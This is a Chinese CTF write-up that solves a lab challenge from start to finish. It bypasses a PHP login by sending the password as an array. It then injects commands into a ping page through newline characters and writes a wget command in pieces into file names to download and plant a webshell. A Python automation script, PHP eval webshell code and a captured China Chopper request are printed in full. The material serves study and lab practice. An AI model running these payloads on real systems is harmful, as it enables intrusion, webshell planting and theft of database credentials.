1. 程式人生 > >利用檔名進行GetShell---CTF題目的相關知識解析

利用檔名進行GetShell---CTF題目的相關知識解析

0x00 環境

今天白老師扔給我了一個虛擬機器,裡面有4道CTF的相關網站,我檢視了一在/va/www目錄下主要有四個資料夾,對映到了8081-8084四個埠。還有一個struts的漏洞測試環境。

隨後找了一個看似比較簡單的題目嘗試一下,解題之前我比較好奇是如何對映的埠,過程不表。

8081-8084是通過apache伺服器進行的對映。配置檔案位於/etc/apache2/ports.conf,關鍵點在下圖中的四個listen

apache監聽後設置虛擬機器的虛擬埠,配置檔案可以從ports.conf檔案中獲取。

<VirtualHost *:8081>         ServerAdmin

[email protected] DocumentRoot /var/www/8081         <Directory "/var/www/8081">                 Options Indexes FollowSymLinks                 AllowOverride All                 AllowOverride All                 Order allow,deny                 Allow from all         </Directory> </VirtualHost> <VirtualHost *:8082>         ServerAdmin
[email protected]
lhost DocumentRoot /var/www/8082         <Directory "/var/www/8082">                 Options Indexes FollowSymLinks                 AllowOverride All                 AllowOverride All                 Order allow,deny                 Allow from all         </Directory> </VirtualHost> <VirtualHost *:8083>         ServerAdmin
[email protected]
DocumentRoot /var/www/8083         <Directory "/var/www/8083">                 Options Indexes FollowSymLinks                 AllowOverride All                 AllowOverride All                 Order allow,deny                 Allow from all         </Directory> </VirtualHost> <VirtualHost *:8084>         ServerAdmin [email protected]         DocumentRoot /var/www/8084         <Directory "/var/www/8084">                 Options Indexes FollowSymLinks                 AllowOverride All                 AllowOverride All                 Order allow,deny                 Allow from all         </Directory> </VirtualHost>

設定之後便可以對埠應用進行訪問了。

0x01 登入繞過

回到CTF題目,直接訪問介面如下:

經過測試,應用只包含一個登陸介面。一頓測試後未果。經過百度查詢,發現原題是一個程式碼審計的題目,尷尬了,於是去後臺檢視程式碼

參考網站如下: http://www.moonsos.com/post/256.html 關鍵程式碼如下:

  1. <?php

  2. session_start();

  3. error_reporting(0);

  4. include("config.php");

  5. header("Content-Type:text/html;charset=utf-8");

  6. function d_addslashes($array){

  7. foreach($array as $key=>$value){

  8. if(!is_array($value)){

  9. !get_magic_quotes_gpc()&&$value=addslashes($value);

  10. $array[$key]=$value;

  11. }else{

  12. $array[$key]=d_addslashes($array[$key]);

  13. }

  14. }

  15. return $array;

  16. }

  17. $_POST = d_addslashes($_POST);

  18. $_GET = d_addslashes($_GET);

  19. $username =isset($_POST['username'])?$_POST['username']:die();

  20. $password = isset($_POST['password'])?md5($_POST['password']):die();

  21. $sql="select password from users where username='$username'";

  22. $result = $conn->query($sql);

  23. $row = $result->fetch_assoc();

  24. if($row[0] === $password){

  25. $_SESSION['username']=$username;

  26. $_SESSION['status']=1;

  27. header("Location: index.php");

  28. }else{

  29. die("<script>alert('使用者名稱或密碼錯誤!!')</script>");

  30. }

  31. ?>

d_addslashes 函式相當於全域性過濾,不存在注入漏洞、且資料庫與web都是UTF-8編碼,也不存在寬位元組注入。根據提示,在$row[0] === $password處存在邏輯漏洞。

輸入username為不存在使用者時,$result為null,從而row[0]為null。password經過md5()函式處理,當引數不為string時會返回null,因此。設定引數“password=1”為“password[]=1”使MD5引數由本來的字串變為陣列即可。便可以繞過驗證。

0x02 命令執行

驗證通過後會跳轉到一個展示頁面,通過檢視原始碼,會發現存在ping.php在註釋行當中,訪問後,來到頁面:

既然可以執行ping,那麼很可能會存在命令注入。

頁面對ip格式進行了正則匹配,最小長度輸入為1.1.1.1。後面加入分隔符;& |等,無法正常執行命令,經過測試會發現,程式對& ; | ) ( ` $進行了過濾。但是沒有對%0a進行過濾。嘗試進行命令注入如下1.1.1.1%0awhoami

嘗試寫入最短的shell <?=`$_GET(1)`; 但是寫入失敗,1.1.1.1%0aecho+"shell <?=`$_GET(1)`; ">1.php提示長度錯誤。分開寫的話還是無法成功。鼓搗了半天發現執行許可權和檔案許可權不一樣,(可以通過ls -la 和whoami判定)apache是www-data使用者,資料夾屬於ctf許可權。後來發現upload資料夾是775,正好兩個賬戶同屬於ctf使用者組。於是最小的命令為1.1.1.1%0aecho+"1">upload/1.php,顯然還是超了。

後來查詢資料,可以借鑑http://wonderkun.cc/index.html/?p=524的七個字元長度任意命令注入。總體思路是通過>xx建立空檔案,把wget命令分段寫入檔名中,再通過ls到bash指令碼中執行wget從而getshell

當前題目與其不同的地方是當前目錄無法寫入,長度限制在8-25之間,需要寫入js等子目錄。於是通過修改上述程式碼,進行自動化寫入:

  1. # -*- coding UTF-8 -*-

  2. import requests

  3. def getshell():

  4. uri = "http://192.168.1.101:8084/ping.php"

  5. header = {

  6. "Cookie": "PHPSESSID=6o7trs1airh18ea8s3u5npj626",

  7. "Content-Type": "application/x-www-form-urlencoded"

  8. }

  9. download = ["1.php", "8083\ -O\ \\", "7.0.0.1:\\", "wget\ 12\\"]

  10. proxy = {"http": "127.0.0.1:8080"}

  11. for req in download:

  12. base = "ip=1.1.1.1%0a>js\/"

  13. data = base + req

  14. requests.post(url=uri, data=data, headers=header, proxies=proxy)

  15. sh = "ip=1.1.1.1%0als%20js%20-t>js\/1"

  16. requests.post(url=uri, data=sh, headers=header, proxies=proxy)

  17. download = "ip=1.1.1.1%0ash%20js\/1"

  18. requests.post(url=uri, data=download, headers=header, proxies=proxy)

  19. response = requests.get("http://192.168.1.108:8084/1.php")

  20. if response.status_code == 200:

  21. print("[*] getshell!!")

  22. else:

  23. print("[*] failed!")

  24. if __name__ == "__main__":

  25. getshell()

執行指令碼會得到一個1.php的webshell,使用菜刀進行連線。通過config.php獲取資料庫連線口令和賬戶,得到flag。

0x03 補充

中間遇到了很多問題,也get了一些知識點:

1、Linux檔名稱中不能包含/,所以在遠端伺服器下載木馬時無法使用wget xxxx/dir的形式,只能在訪問index的時候自動下載目錄。當前我能想到比較笨的方法是在index頁面中寫入如下程式碼:

  1. <?php

  2. echo("<?php @eval(\$_POST['as']);

  3. ?>

其中$需要進行轉義,否則無法正常列印

2、命令分隔如下:

wget 12\

7.0.0.1:\

8083 -O\

1.php

其中遇到一個大坑,引數應該是大寫字母O,即下載內容另存為此檔名。小寫的o代表過程資訊記錄到1.php中。

另外在解題過程中抓取了菜刀的報文,做個記錄

  1. @ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=base64_decode($_POST["z1"]);[email protected]($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while([email protected]($F)){$P=$D."/".$N;[email protected]("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t"[email protected]($P)."\t".$E."

  2. ";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();&z1=/var/www/8084/assets/i/